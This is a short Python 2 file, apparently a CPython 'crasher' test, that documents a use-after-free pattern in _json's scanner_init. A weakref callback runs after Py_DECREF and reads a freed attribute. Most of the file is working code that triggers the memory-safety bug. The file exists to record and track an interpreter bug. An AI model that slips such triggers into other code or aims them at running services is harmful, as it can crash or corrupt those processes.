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      1 """
      2 General example for an attack against code like this:
      3 
      4     Py_DECREF(obj->attr); obj->attr = ...;
      5 
      6 here in Module/_json.c:scanner_init().
      7 
      8 Explanation: if the first Py_DECREF() calls either a __del__ or a
      9 weakref callback, it will run while the 'obj' appears to have in
     10 'obj->attr' still the old reference to the object, but not holding
     11 the reference count any more.
     12 
     13 Status: progress has been made replacing these cases, but there is an
     14 infinite number of such cases.
     15 """
     16 
     17 import _json, weakref
     18 
     19 class Ctx1(object):
     20     encoding = "utf8"
     21     strict = None
     22     object_hook = None
     23     object_pairs_hook = None
     24     parse_float = None
     25     parse_int = None
     26     parse_constant = None
     27 
     28 class Foo(unicode):
     29     pass
     30 
     31 def delete_me(*args):
     32     print scanner.encoding.__dict__
     33 
     34 class Ctx2(Ctx1):
     35     @property
     36     def encoding(self):
     37         global wref
     38         f = Foo("utf8")
     39         f.abc = globals()
     40         wref = weakref.ref(f, delete_me)
     41         return f
     42 
     43 scanner = _json.make_scanner(Ctx1())
     44 scanner.__init__(Ctx2())
     45